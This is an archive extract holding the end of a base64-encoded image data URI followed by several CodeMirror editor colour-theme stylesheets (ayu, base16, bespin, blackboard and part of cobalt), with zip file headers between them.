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");
}
PKP��[J�l��codemirror/theme/ayu-dark.cssnu�[���/*
Based on https://github.com/dempfi/ayu */

.cm-s-ayu-dark.CodeMirror { background: #0a0e14; color: #b3b1ad; }
.cm-s-ayu-dark div.CodeMirror-selected { background: #273747; }
.cm-s-ayu-dark .CodeMirror-line::selection, .cm-s-ayu-dark .CodeMirror-line
> span::selection, .cm-s-ayu-dark .CodeMirror-line > span >
span::selection { background: rgba(39, 55, 71, 99); }
.cm-s-ayu-dark .CodeMirror-line::-moz-selection, .cm-s-ayu-dark
.CodeMirror-line > span::-moz-selection, .cm-s-ayu-dark .CodeMirror-line
> span > span::-moz-selection { background: rgba(39, 55, 71, 99); }
.cm-s-ayu-dark .CodeMirror-gutters { background: #0a0e14; border-right:
0px; }
.cm-s-ayu-dark .CodeMirror-guttermarker { color: white; }
.cm-s-ayu-dark .CodeMirror-guttermarker-subtle { color: #3d424d; }
.cm-s-ayu-dark .CodeMirror-linenumber { color: #3d424d; }
.cm-s-ayu-dark .CodeMirror-cursor { border-left: 1px solid #e6b450; }

.cm-s-ayu-dark span.cm-comment { color: #626a73; }
.cm-s-ayu-dark span.cm-atom { color: #ae81ff; }
.cm-s-ayu-dark span.cm-number { color: #e6b450; }

.cm-s-ayu-dark span.cm-comment.cm-attribute { color: #ffb454; }
.cm-s-ayu-dark span.cm-comment.cm-def { color: rgba(57, 186, 230, 80); }
.cm-s-ayu-dark span.cm-comment.cm-tag { color: #39bae6; }
.cm-s-ayu-dark span.cm-comment.cm-type { color: #5998a6; }

.cm-s-ayu-dark span.cm-property, .cm-s-ayu-dark span.cm-attribute { color:
#ffb454; }  
.cm-s-ayu-dark span.cm-keyword { color: #ff8f40; } 
.cm-s-ayu-dark span.cm-builtin { color: #e6b450; }
.cm-s-ayu-dark span.cm-string { color: #c2d94c; }

.cm-s-ayu-dark span.cm-variable { color: #b3b1ad; }
.cm-s-ayu-dark span.cm-variable-2 { color: #f07178; }
.cm-s-ayu-dark span.cm-variable-3 { color: #39bae6; }
.cm-s-ayu-dark span.cm-type { color: #ff8f40; }
.cm-s-ayu-dark span.cm-def { color: #ffee99; }
.cm-s-ayu-dark span.cm-bracket { color: #f8f8f2; }
.cm-s-ayu-dark span.cm-tag { color: rgba(57, 186, 230, 80); }
.cm-s-ayu-dark span.cm-header { color: #c2d94c; }
.cm-s-ayu-dark span.cm-link { color: #39bae6; }
.cm-s-ayu-dark span.cm-error { color: #ff3333; } 

.cm-s-ayu-dark .CodeMirror-activeline-background { background: #01060e; }
.cm-s-ayu-dark .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}
PKP��[7+~9	9	codemirror/theme/ayu-mirage.cssnu�[���/*
Based on https://github.com/dempfi/ayu */

.cm-s-ayu-mirage.CodeMirror { background: #1f2430; color: #cbccc6; }
.cm-s-ayu-mirage div.CodeMirror-selected { background: #34455a; }
.cm-s-ayu-mirage .CodeMirror-line::selection, .cm-s-ayu-mirage
.CodeMirror-line > span::selection, .cm-s-ayu-mirage .CodeMirror-line
> span > span::selection { background: #34455a; }
.cm-s-ayu-mirage .CodeMirror-line::-moz-selection, .cm-s-ayu-mirage
.CodeMirror-line > span::-moz-selection, .cm-s-ayu-mirage
.CodeMirror-line > span > span::-moz-selection { background: rgba(25,
30, 42, 99); }
.cm-s-ayu-mirage .CodeMirror-gutters { background: #1f2430; border-right:
0px; }
.cm-s-ayu-mirage .CodeMirror-guttermarker { color: white; }
.cm-s-ayu-mirage .CodeMirror-guttermarker-subtle { color:  rgba(112, 122,
140, 66); }
.cm-s-ayu-mirage .CodeMirror-linenumber { color: rgba(61, 66, 77, 99); }
.cm-s-ayu-mirage .CodeMirror-cursor { border-left: 1px solid #ffcc66; }

.cm-s-ayu-mirage span.cm-comment { color: #5c6773; font-style:italic; }
.cm-s-ayu-mirage span.cm-atom { color: #ae81ff; }
.cm-s-ayu-mirage span.cm-number { color: #ffcc66; }

.cm-s-ayu-mirage span.cm-comment.cm-attribute { color: #ffd580; }
.cm-s-ayu-mirage span.cm-comment.cm-def { color: #d4bfff; }
.cm-s-ayu-mirage span.cm-comment.cm-tag { color: #5ccfe6; }
.cm-s-ayu-mirage span.cm-comment.cm-type { color: #5998a6; }

.cm-s-ayu-mirage span.cm-property { color: #f29e74; }
.cm-s-ayu-mirage span.cm-attribute { color: #ffd580; }  
.cm-s-ayu-mirage span.cm-keyword { color: #ffa759; } 
.cm-s-ayu-mirage span.cm-builtin { color: #ffcc66; }
.cm-s-ayu-mirage span.cm-string { color: #bae67e; }

.cm-s-ayu-mirage span.cm-variable { color: #cbccc6; }
.cm-s-ayu-mirage span.cm-variable-2 { color: #f28779; }
.cm-s-ayu-mirage span.cm-variable-3 { color: #5ccfe6; }
.cm-s-ayu-mirage span.cm-type { color: #ffa759; }
.cm-s-ayu-mirage span.cm-def { color: #ffd580; }
.cm-s-ayu-mirage span.cm-bracket { color: rgba(92, 207, 230, 80); }
.cm-s-ayu-mirage span.cm-tag { color: #5ccfe6; }
.cm-s-ayu-mirage span.cm-header { color: #bae67e; }
.cm-s-ayu-mirage span.cm-link { color: #5ccfe6; }
.cm-s-ayu-mirage span.cm-error { color: #ff3333; } 

.cm-s-ayu-mirage .CodeMirror-activeline-background { background: #191e2a; }
.cm-s-ayu-mirage .CodeMirror-matchingbracket {
  text-decoration: underline;
  color: white !important;
}
PKP��[FK(H@@ codemirror/theme/base16-dark.cssnu�[���/*

    Name:       Base16 Default Dark
    Author:     Chris Kempson (http://chriskempson.com)

    CodeMirror template by Jan T. Sott
(https://github.com/idleberg/base16-codemirror)
    Original Base16 color scheme by Chris Kempson
(https://github.com/chriskempson/base16)

*/

.cm-s-base16-dark.CodeMirror { background: #151515; color: #e0e0e0; }
.cm-s-base16-dark div.CodeMirror-selected { background: #303030; }
.cm-s-base16-dark .CodeMirror-line::selection, .cm-s-base16-dark
.CodeMirror-line > span::selection, .cm-s-base16-dark .CodeMirror-line
> span > span::selection { background: rgba(48, 48, 48, .99); }
.cm-s-base16-dark .CodeMirror-line::-moz-selection, .cm-s-base16-dark
.CodeMirror-line > span::-moz-selection, .cm-s-base16-dark
.CodeMirror-line > span > span::-moz-selection { background: rgba(48,
48, 48, .99); }
.cm-s-base16-dark .CodeMirror-gutters { background: #151515; border-right:
0px; }
.cm-s-base16-dark .CodeMirror-guttermarker { color: #ac4142; }
.cm-s-base16-dark .CodeMirror-guttermarker-subtle { color: #505050; }
.cm-s-base16-dark .CodeMirror-linenumber { color: #505050; }
.cm-s-base16-dark .CodeMirror-cursor { border-left: 1px solid #b0b0b0; }

.cm-s-base16-dark span.cm-comment { color: #8f5536; }
.cm-s-base16-dark span.cm-atom { color: #aa759f; }
.cm-s-base16-dark span.cm-number { color: #aa759f; }

.cm-s-base16-dark span.cm-property, .cm-s-base16-dark span.cm-attribute {
color: #90a959; }
.cm-s-base16-dark span.cm-keyword { color: #ac4142; }
.cm-s-base16-dark span.cm-string { color: #f4bf75; }

.cm-s-base16-dark span.cm-variable { color: #90a959; }
.cm-s-base16-dark span.cm-variable-2 { color: #6a9fb5; }
.cm-s-base16-dark span.cm-def { color: #d28445; }
.cm-s-base16-dark span.cm-bracket { color: #e0e0e0; }
.cm-s-base16-dark span.cm-tag { color: #ac4142; }
.cm-s-base16-dark span.cm-link { color: #aa759f; }
.cm-s-base16-dark span.cm-error { background: #ac4142; color: #b0b0b0; }

.cm-s-base16-dark .CodeMirror-activeline-background { background: #202020;
}
.cm-s-base16-dark .CodeMirror-matchingbracket { text-decoration: underline;
color: white !important; }
PKP��[�(7DLL!codemirror/theme/base16-light.cssnu�[���/*

    Name:       Base16 Default Light
    Author:     Chris Kempson (http://chriskempson.com)

    CodeMirror template by Jan T. Sott
(https://github.com/idleberg/base16-codemirror)
    Original Base16 color scheme by Chris Kempson
(https://github.com/chriskempson/base16)

*/

.cm-s-base16-light.CodeMirror { background: #f5f5f5; color: #202020; }
.cm-s-base16-light div.CodeMirror-selected { background: #e0e0e0; }
.cm-s-base16-light .CodeMirror-line::selection, .cm-s-base16-light
.CodeMirror-line > span::selection, .cm-s-base16-light .CodeMirror-line
> span > span::selection { background: #e0e0e0; }
.cm-s-base16-light .CodeMirror-line::-moz-selection, .cm-s-base16-light
.CodeMirror-line > span::-moz-selection, .cm-s-base16-light
.CodeMirror-line > span > span::-moz-selection { background: #e0e0e0;
}
.cm-s-base16-light .CodeMirror-gutters { background: #f5f5f5; border-right:
0px; }
.cm-s-base16-light .CodeMirror-guttermarker { color: #ac4142; }
.cm-s-base16-light .CodeMirror-guttermarker-subtle { color: #b0b0b0; }
.cm-s-base16-light .CodeMirror-linenumber { color: #b0b0b0; }
.cm-s-base16-light .CodeMirror-cursor { border-left: 1px solid #505050; }

.cm-s-base16-light span.cm-comment { color: #8f5536; }
.cm-s-base16-light span.cm-atom { color: #aa759f; }
.cm-s-base16-light span.cm-number { color: #aa759f; }

.cm-s-base16-light span.cm-property, .cm-s-base16-light span.cm-attribute {
color: #90a959; }
.cm-s-base16-light span.cm-keyword { color: #ac4142; }
.cm-s-base16-light span.cm-string { color: #f4bf75; }

.cm-s-base16-light span.cm-variable { color: #90a959; }
.cm-s-base16-light span.cm-variable-2 { color: #6a9fb5; }
.cm-s-base16-light span.cm-def { color: #d28445; }
.cm-s-base16-light span.cm-bracket { color: #202020; }
.cm-s-base16-light span.cm-tag { color: #ac4142; }
.cm-s-base16-light span.cm-link { color: #aa759f; }
.cm-s-base16-light span.cm-error { background: #ac4142; color: #505050; }

.cm-s-base16-light .CodeMirror-activeline-background { background: #DDDCDC;
}
.cm-s-base16-light .CodeMirror-matchingbracket { color: #f5f5f5 !important;
background-color: #6A9FB5 !important}
PKP��[�\n��codemirror/theme/bespin.cssnu�[���/*

    Name:       Bespin
    Author:     Mozilla / Jan T. Sott

    CodeMirror template by Jan T. Sott
(https://github.com/idleberg/base16-codemirror)
    Original Base16 color scheme by Chris Kempson
(https://github.com/chriskempson/base16)

*/

.cm-s-bespin.CodeMirror {background: #28211c; color: #9d9b97;}
.cm-s-bespin div.CodeMirror-selected {background: #36312e !important;}
.cm-s-bespin .CodeMirror-gutters {background: #28211c; border-right: 0px;}
.cm-s-bespin .CodeMirror-linenumber {color: #666666;}
.cm-s-bespin .CodeMirror-cursor {border-left: 1px solid #797977
!important;}

.cm-s-bespin span.cm-comment {color: #937121;}
.cm-s-bespin span.cm-atom {color: #9b859d;}
.cm-s-bespin span.cm-number {color: #9b859d;}

.cm-s-bespin span.cm-property, .cm-s-bespin span.cm-attribute {color:
#54be0d;}
.cm-s-bespin span.cm-keyword {color: #cf6a4c;}
.cm-s-bespin span.cm-string {color: #f9ee98;}

.cm-s-bespin span.cm-variable {color: #54be0d;}
.cm-s-bespin span.cm-variable-2 {color: #5ea6ea;}
.cm-s-bespin span.cm-def {color: #cf7d34;}
.cm-s-bespin span.cm-error {background: #cf6a4c; color: #797977;}
.cm-s-bespin span.cm-bracket {color: #9d9b97;}
.cm-s-bespin span.cm-tag {color: #cf6a4c;}
.cm-s-bespin span.cm-link {color: #9b859d;}

.cm-s-bespin .CodeMirror-matchingbracket { text-decoration: underline;
color: white !important;}
.cm-s-bespin .CodeMirror-activeline-background { background: #404040; }
PKP��[ƀ���codemirror/theme/blackboard.cssnu�[���/*
Port of TextMate's Blackboard theme */

.cm-s-blackboard.CodeMirror { background: #0C1021; color: #F8F8F8; }
.cm-s-blackboard div.CodeMirror-selected { background: #253B76; }
.cm-s-blackboard .CodeMirror-line::selection, .cm-s-blackboard
.CodeMirror-line > span::selection, .cm-s-blackboard .CodeMirror-line
> span > span::selection { background: rgba(37, 59, 118, .99); }
.cm-s-blackboard .CodeMirror-line::-moz-selection, .cm-s-blackboard
.CodeMirror-line > span::-moz-selection, .cm-s-blackboard
.CodeMirror-line > span > span::-moz-selection { background: rgba(37,
59, 118, .99); }
.cm-s-blackboard .CodeMirror-gutters { background: #0C1021; border-right:
0; }
.cm-s-blackboard .CodeMirror-guttermarker { color: #FBDE2D; }
.cm-s-blackboard .CodeMirror-guttermarker-subtle { color: #888; }
.cm-s-blackboard .CodeMirror-linenumber { color: #888; }
.cm-s-blackboard .CodeMirror-cursor { border-left: 1px solid #A7A7A7; }

.cm-s-blackboard .cm-keyword { color: #FBDE2D; }
.cm-s-blackboard .cm-atom { color: #D8FA3C; }
.cm-s-blackboard .cm-number { color: #D8FA3C; }
.cm-s-blackboard .cm-def { color: #8DA6CE; }
.cm-s-blackboard .cm-variable { color: #FF6400; }
.cm-s-blackboard .cm-operator { color: #FBDE2D; }
.cm-s-blackboard .cm-comment { color: #AEAEAE; }
.cm-s-blackboard .cm-string { color: #61CE3C; }
.cm-s-blackboard .cm-string-2 { color: #61CE3C; }
.cm-s-blackboard .cm-meta { color: #D8FA3C; }
.cm-s-blackboard .cm-builtin { color: #8DA6CE; }
.cm-s-blackboard .cm-tag { color: #8DA6CE; }
.cm-s-blackboard .cm-attribute { color: #8DA6CE; }
.cm-s-blackboard .cm-header { color: #FF6400; }
.cm-s-blackboard .cm-hr { color: #AEAEAE; }
.cm-s-blackboard .cm-link { color: #8DA6CE; }
.cm-s-blackboard .cm-error { background: #9D1E15; color: #F8F8F8; }

.cm-s-blackboard .CodeMirror-activeline-background { background: #3C3636; }
.cm-s-blackboard .CodeMirror-matchingbracket { outline:1px solid
grey;color:white !important; }
PKP��[v#���codemirror/theme/cobalt.cssnu�[���.cm-s-cobalt.CodeMirror
{ background: #002240; color: white; }
.cm-s-cobalt div.CodeMirror-selected { background: #b36539; }
.cm-s-cobalt .CodeMirror-line::selection, .cm-s-cobalt .CodeMirror-line
> span::selection, .cm-s-cobalt .CodeMirror-line > span >
span::selection { background: rgba(179, 101, 57, .99); }
.cm-s-cobalt .CodeMirror-line::-moz-selection, .cm-s-cobalt
.CodeMirror-line > span::-moz-selection, .cm-s-cobalt .CodeMirror-line
> span > span::-moz-selection { background: rgba(179, 101, 57, .99);
}
.cm-s-cobalt .CodeMirror-gutters { background: #002240; border-right: 1px
solid #aaa; }
.cm-s-cobalt .CodeMirror-guttermarker { color: #ffee80; }
.cm-s-cobalt .CodeMirror-guttermarker-subtle { color: #d0d0d0; }
.cm-s-cobalt .CodeMirror-linenumber { color: #d0d0d0; }
.cm-s-cobalt .CodeMirror-cursor { border-left: 1px solid white; }

.cm-s-cobalt span.cm-comment { color: #08f; }
.cm-s-cobalt span.cm-atom { color: #845dc4; }
.cm-s-cobalt span.cm-number, .cm-s-cobalt span.cm-attribute { color:
#ff80e1; }
.cm-s-cobalt span.cm-keyword { color: #ffee80; }
.cm-s-cobalt span.cm-string { color: #3ad900; }
.cm-s-cobalt span.cm-meta { color: #ff9d00; }
.cm-s-cobalt span.cm-variable-2, .cm-s-cobalt span.cm-tag { color: #9effff;
}
.cm-s-cobalt span.cm-variable-3, .cm-s-cobalt span.cm-def, .cm-s-cobalt
.cm-type { color: white; }
